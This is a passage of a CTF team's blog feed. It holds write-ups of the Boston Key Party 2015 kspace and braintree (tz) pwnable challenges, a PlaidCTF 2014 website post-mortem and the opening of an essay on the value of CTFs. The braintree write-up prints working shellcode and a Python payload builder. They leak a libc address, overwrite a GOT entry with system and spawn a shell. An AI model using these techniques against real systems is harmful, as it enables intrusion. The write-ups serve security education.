&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'cat fmt '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stage1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Our exploit code looks fairly similar, but we now create a file called ‘lol’ first with the shellcode. (The shellcode is the same as what we used for uspace.)&lt;/p&gt;

&lt;p&gt;Then, we trigger the bug with our stage1 code.&lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;Pwn!&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nasm shell.asm &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; bin &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; shell.bin
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nasm stage1.asm &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; bin &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; stage1.bin
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python pwn_kspace.py
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ../kspace/payload&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; -&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./tz
bksh&amp;gt; bksh&amp;gt; bksh&amp;gt;
&lt;span class=&quot;nb&quot;&gt;whoami
&lt;/span&gt;kspace&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;So far, we have triggered a &lt;strong&gt;uspace&lt;/strong&gt; bug to call a syscall (92) in &lt;strong&gt;kspace&lt;/strong&gt;, which does a hypercall (92) in &lt;strong&gt;tz&lt;/strong&gt;, which allowed us to perform an arbitrary memory write in &lt;strong&gt;kspace &lt;/strong&gt;memory.&lt;/p&gt;

&lt;p&gt;Amusingly, we will be using the same primitive to get a shell under &lt;strong&gt;tz&lt;/strong&gt; context in the next series.&lt;/p&gt;

&lt;p&gt;Write-up by Cai (Brian Pak) [&lt;a href=&quot;http://www.bpak.org&quot;&gt;https://www.bpak.org&lt;/a&gt;]&lt;/p&gt;
</description>
        <pubDate>Sat, 07 Mar 2015 00:00:00 +0000</pubDate>
        <link>https://pwning.net/pwn/2015/03/07/bkpctf-2015-quincy-adams-kspace-write-up/</link>
        <guid isPermaLink="true">https://pwning.net/pwn/2015/03/07/bkpctf-2015-quincy-adams-kspace-write-up/</guid>
      </item>
    
      <item>
        <title>braintree (tz)</title>
        <description>&lt;p&gt;This is a write-up for &lt;strong&gt;braintree&lt;/strong&gt; challenge, which is the last part of 3-chained pwnable challenge from &lt;a href=&quot;https://ctftime.org/event/163&quot;&gt;Boston Key Party CTF&lt;/a&gt; last weekend.  &lt;em&gt;You can also read this content from the &lt;a href=&quot;https://www.bpak.org/blog/2015/03/bkpctf-2015-braintree-tz-write-up/&quot;&gt;origial post&lt;/a&gt;&lt;/em&gt;.
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;The binaries were packaged into a &lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/zenhv-e941cb4585deafcf5a1b86050a3ebe7a.gz&quot;&gt;tar ball&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t…
Exploit it. (tz flag) 54.165.91.92 8899&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The goal is to get “tz” flag by exploiting the kernel space process.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you haven’t read the previous write-up for quincy-adams, I strongly recommend you to read before continuing with this one as we will assume knowledge gained from it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;As it was mentioned previously, we will be using the same primitive: &lt;strong&gt;hypercall #92&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Therefore, we have an arbitrary-write-anywhere primitive. So, the question is “what can we overwrite in &lt;strong&gt;tz&lt;/strong&gt; that will get us an arbitrary code execution?”&lt;/p&gt;

&lt;p&gt;We started looking at each of the hypercall handlers in &lt;strong&gt;tz&lt;/strong&gt;.&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_3.png&quot; data-lightbox=&quot;braintree&quot; data-title=&quot;&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_3.png&quot; alt=&quot;&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Then, we stumbled upon hypercall #85.&lt;/p&gt;

&lt;p&gt;This function seemed like some sort of cleanup (we called it &lt;strong&gt;delete_op&lt;/strong&gt; in our shellcode) function for an object used in &lt;strong&gt;tz&lt;/strong&gt;. (As I said previously, we didn’t do much of reversing on &lt;strong&gt;tz&lt;/strong&gt; as we did for &lt;strong&gt;uspace&lt;/strong&gt; and &lt;strong&gt;kspace&lt;/strong&gt;)&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/tz_0.png&quot; data-lightbox=&quot;braintree&quot; data-title=&quot;&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/tz_0.png&quot; alt=&quot;&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;It seems like the first argument (v3) is a word that represents id of some sort, but the important thing is that we can control its value. v2 is an offset to the tz data structure, and the value at &lt;strong&gt;tz_space + v2 (where v2 is 0)&lt;/strong&gt; is 0.&lt;/p&gt;

&lt;p&gt;Since NX is enabled on &lt;strong&gt;tz&lt;/strong&gt;, we decided to overwrite the GOT entry to execute &lt;strong&gt;system&lt;/strong&gt;. Since the addresses are randomized, we first need to leak an address to calculate the address of system. We are going to abuse the hypercall #92 to do 3 things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Leak out libc address, so we can calculate the address of system.&lt;/li&gt;
  &lt;li&gt;Overwrite &lt;strong&gt;free&lt;/strong&gt; (.got.plt in tz) with &amp;amp;system.&lt;/li&gt;
  &lt;li&gt;Overwrite contents in &lt;strong&gt;v4 + 8&lt;/strong&gt; (aka, tz_space + 8) with a pointer to our command buffer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, doing all of these comes with a price. The size limit (256 bytes) starts to become an issue here. We can either put another stager in the middle to allow us more space, or optimize our payload such that it fits under 256 bytes! We chose to do latter :p&lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;shell.asm&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;[BITS 64]

section .text
global _start
_start:

; yay we are in kernel!!!
; optimizing for size...
mov ebp, 0x8

; leak out &amp;amp;getpwnam
mov eax, 0x402380       ; do_encrypt
mov edi, 0x602290       ; src (getpwnam .got.plt in tz)
mov rsi, [rel dst]      ; dst (kernel_space + 128)
mov edx, ebp            ; size
call rax

call sleep

; update the address (to be &amp;amp;system) and
; xor the address back with the key
mov rcx, [rel dst]
mov rax, [rcx]
xor rax, [rel xor_key]
sub rax, 0x79340        ; &amp;amp;getpwnam - &amp;amp;system (this may be different depending on libc)
xor rax, [rel xor_key]
mov [rcx], rax

; overwrite free GOT
mov eax, 0x402380       ; do_encrypt
mov rdi, [rel dst]      ; src (kernel_space + 128)
mov esi, 0x602230       ; dst (free .got.plt in tz)
mov edx, ebp            ; size
call rax

call sleep

mov rax, [rel command]  ; encrypt our command pointer
xor rax, [rel xor_key]
push rax

; overwrite [fake_obj + 8] with cmd pointer
mov eax, 0x402380       ; do_encrypt
mov rdi, rsp
mov rsi, [rel fake]
mov edx, ebp            ; size
call rax

call sleep

; setting command to 'sh'
mov rcx, [rel command]
mov dword [rcx], 0x6873

; hypercall to trigger free
; sem_lock
mov ebp, [0x60338C]     ; semaphore
mov edi, ebp
xor esi, esi
mov eax, 0x4015D0
call rax

xor rcx, rcx
mov rax, [0x603360]     ; kernel_space
mov dword [rax], 85     ; delete_op hypercall
mov [rax + 8], rcx      ; 0
lea rdx, [rax + 48]     ; rax + 48 points to args
mov [rax + 16], rdx

mov word [rax + 48], 0  ; id

; sem_unlock
mov edi, ebp
xor esi, esi
mov eax, 0x401600
call rax

call sleep

sleep:
; sleep(1)
mov eax, 0x400D00
xor edi, edi
inc edi
jmp rax

dst:
dq 0x900000080         ; scratch pad in kernel_space
fake:
dq 0x100000008         ; tz_space + 8
xor_key:
dq 0x7473656c72616863
command:
dq 0x900001000         ; we will put our command here
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;At first, we were over ~10 bytes, but once we have “optimized” a little bit, we finally got our payload to be 254 bytes!&lt;/p&gt;

&lt;p&gt;Note that we are not using the same shell.asm as before (our new payload is now called shell.asm). However, we can continue to use the same stage1.asm and the python script from &lt;strong&gt;kspace&lt;/strong&gt; exploit. For convenience sake, it is also attached here.&lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;pwn_tz.py&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;Q'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;Q'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'payload'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'wb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'create lol&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'shell.bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pop_pop_ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40110F&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;stage1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'stage1.bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'create fmt&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'%280x'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pop_pop_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'cat fmt '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stage1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;Pwn!&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nasm shell.asm &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; bin &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; shell.bin
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; shell.bin
&lt;span class=&quot;nt&quot;&gt;-rw-rw-r--&lt;/span&gt; 1 user user 254 Mar 4 21:58 shell.bin
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nasm stage1.asm &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; bin &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; stage1.bin
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python pwn_tz.py
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ../tz/payload&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; -&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./tz
bksh&amp;gt; bksh&amp;gt; bksh&amp;gt;
&lt;span class=&quot;nb&quot;&gt;whoami
&lt;/span&gt;tz&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;We have abused the hypercall #92 (encrypt) to exploit both kspace and tz, but there may be another way to exploit kspace without going through the hypervisor.&lt;/p&gt;

&lt;p&gt;Well, that’s it for the 3-parts pwnable challenge write-up =)&lt;/p&gt;

&lt;p&gt;Thank you for reading, and happy hacking!&lt;/p&gt;

&lt;p&gt;Write-up by Cai (Brian Pak) [&lt;a href=&quot;http://www.bpak.org&quot;&gt;https://www.bpak.org&lt;/a&gt;]&lt;/p&gt;
</description>
        <pubDate>Sat, 07 Mar 2015 00:00:00 +0000</pubDate>
        <link>https://pwning.net/pwn/2015/03/07/bkpctf-2015-braintree-tz-write-up/</link>
        <guid isPermaLink="true">https://pwning.net/pwn/2015/03/07/bkpctf-2015-braintree-tz-write-up/</guid>
      </item>
    
      <item>
        <title>PlaidCTF 2014 &amp;mdash; Website post-mortem</title>
        <description>&lt;p&gt;First, we would like to thank everyone for participating in PlaidCTF 2014. Thanks to all of you, this year was bigger than ever with over 850 teams partcipating and 3 &lt;a href=&quot;http://play.plaidctf.com/sponsors&quot;&gt;sponsors&lt;/a&gt; (THANK YOU!) providing $14K in cash prizes and covering all of our operating costs. Congratulations go out to 0xffa, Dragon Sector, and MoreSmokedLeetChicken for finishing in 1st, 2nd, and 3rd. We hope everyone had a lot of fun with the challenges and maybe learned a thing or two, as well.&lt;/p&gt;

&lt;p&gt;Now, as everyone who played pCTF this year noticed, things got off to a very rocky start. This was very disappointing for us because we spent a lot of time this year building a simpler interface that would be more usable and, we hoped, more stable. It turns out that we had a few mistakes materialize during the CTF, some nastiness with a particular WSGI server, and more teams than ever before.&lt;/p&gt;

&lt;p&gt;The first issue that came up was with our frontend / caching server. Like previous years, we used nginx to serve the static files, but unlike previous years, we also used nginx as the caching layer instead of varnish. This turned out to be a fatal error because nginx does not support the standard Vary HTTP header, which is used by the backend to distinguish between pages that should be cached based on the cookie and those that should not. As such, &lt;em&gt;all&lt;/em&gt; pages were cached &lt;em&gt;without&lt;/em&gt; the cookie which meant a user might see a different team’s page instead of their own. As a quick fix, we added the cookie header to the cache key, but now all of the pages that we thought would be regenerated once per second needed to be regenerated once per second &lt;em&gt;per team&lt;/em&gt;. And as I will discuss later, we had a lot of teams.&lt;/p&gt;

&lt;p&gt;The second issue, and the one that ended up consuming a lot of our time and causing the most frustration, was a strange interaction between nginx and gunicorn. This year we stuck to a pretty standard setup: django + gunicorn + nginx. Unfortunately, due to high load, or other factors that we are still unaware of, gunicorn was hanging on a &lt;em&gt;recvfrom&lt;/em&gt; call on its socket. The problem mysteriously fixed itself a couple hours into the competition, but then came back an hour or so later. At that point, we started replacing parts of our infrastructure (e.g. nginx -&amp;gt; Apache, gunicorn -&amp;gt; uwsgi). The working setup ended up being uwsgi + nginx, but it took us a couple of hours to get to this point. Now, the backend worker processes were no longer hanging and the website was mostly working except for some load issues.&lt;/p&gt;

&lt;p&gt;As I mentioned above, we had more teams this year than ever before with over 850 teams solving the trivial sanity check key. Once the nginx caching was working properly, we found that we were still overloaded during the voting phases so we brought up another copy of the www server and used an Elastic Load Balancer as the new frontend. I would like to thank Amazon for making its load balancer very easy to setup, use, and monitor. After this, all load issues were resolved and the website continued to be stable for the rest of the competition. We lost IP address information for the majority of the competition because we were not logging the X-Forwarded-For header, but that was a small price for having a working website.&lt;/p&gt;

&lt;p&gt;There were two other bugs in the game logic that we fixed over the course of the 48 hours. The first one was an issue with the database transactions in Django. The default isolation level for the postgresql database backend was “Read Committed” which resulted in transaction interleaving and allowing teams to submit the same key multiple times. We resolved the issue by changing the isolation level and enforcing uniqueness of (team_id,problem_key_id) in the database. The other issue was related to the “chance” tiles. During the first half of the competition, it was impossible for the “chance” tile to return something besides “Unlucky!” Once we resolved the problem, we changed the probabilities to compensate for the lost attempts.&lt;/p&gt;

&lt;p&gt;All in all, we think the competition went well and we thank everyone for their patience. Every year we try to do something a bit different to keep things interesting and with that comes some untested infrastructure. I assure you that we continue to learn from these mistakes and will continue to work hard to improve the competition for next year.&lt;/p&gt;

&lt;p&gt;— awesie on behalf of PPP&lt;/p&gt;
</description>
        <pubDate>Mon, 14 Apr 2014 00:00:00 +0000</pubDate>
        <link>https://pwning.net/general%20news/2014/04/14/plaidctf-2014-website-post-mortem/</link>
        <guid isPermaLink="true">https://pwning.net/general%20news/2014/04/14/plaidctf-2014-website-post-mortem/</guid>
      </item>
    
      <item>
        <title>Why CTF</title>
        <description>&lt;p&gt;A &lt;a href=&quot;http://www.scriptjunkie.us/2014/03/ccdc-and-ctfs-addressing-the-criticisms/&quot;&gt;recent blog post&lt;/a&gt; has been going around talking about the differences between competitions like CCDC (Collegiate Cyber Defense Competition) and CTFs (Capture the Flag). It’s a good read and I thought a lot of interesting points were brought up, and figured it could be beneficial to try to respond to them some place to encourage discussion (and besides, our blog needs any excuse it can get for new content). For what it’s worth, I didn’t watch Chris Eagle’s presentations, though I imagine I don’t agree with everything he said. Likewise, I don’t disagree with everything from Matt Weeks’ blog post. This post is mostly motivated by the fact that while a discussion on security competitions is going, it makes sense to talk about some related things I have been thinking about.&lt;/p&gt;

&lt;p&gt;First off, as many of you probably know, the Plaid Parliament of Pwning has not played in purely defensive exercises. To those that may say “well aren’t you going to be biased towards capture the flag events?”, I answer “almost certainly”. I’m not going to say CCDC is worthless and CTFs are the epitome of security education, but my claim is that &lt;em&gt;CTFs provide a much better platform and environment for players learning about a broad range of security topics&lt;/em&gt;. Further, I’m going to use the term CCDC when I suppose in general I mean “defensive security competition”. This probably means I will muddle some specific details.&lt;/p&gt;

&lt;h2 id=&quot;problem-solving&quot;&gt;Problem Solving&lt;/h2&gt;

&lt;p&gt;Fundamentally, CTFs are about problem solving. Although I know defensive competitions have many problems that their competitors have to deal with, I believe CTFs intrinsically allow for more “out of the box” thinking. Let’s start with rules. Most CTF competitions are pretty loose in this respect: maybe team size is limited, challengers aren’t allowed to share answers, and attacking game infrastructure is forbidden, but that’s about it. The nature of defensive competitions means they can’t be so simple. Although the rules for CCDC aren’t too bad, the rule book for the CyberPatriot competition is &lt;a href=&quot;https://www.uscyberpatriot.org/competition/rules-book&quot;&gt;over one hundred pages long&lt;/a&gt;. There’s a reason for this: there are “easy solutions” that would break these competitions. What if you block malicious network blocks? set up a honey pot? rewrite services to be bug free? delete user accounts only the red team is using? proxy all traffic through an IPS? upgrade Windows XP boxes to Windows 7? run separate services in sandboxes?&lt;/p&gt;

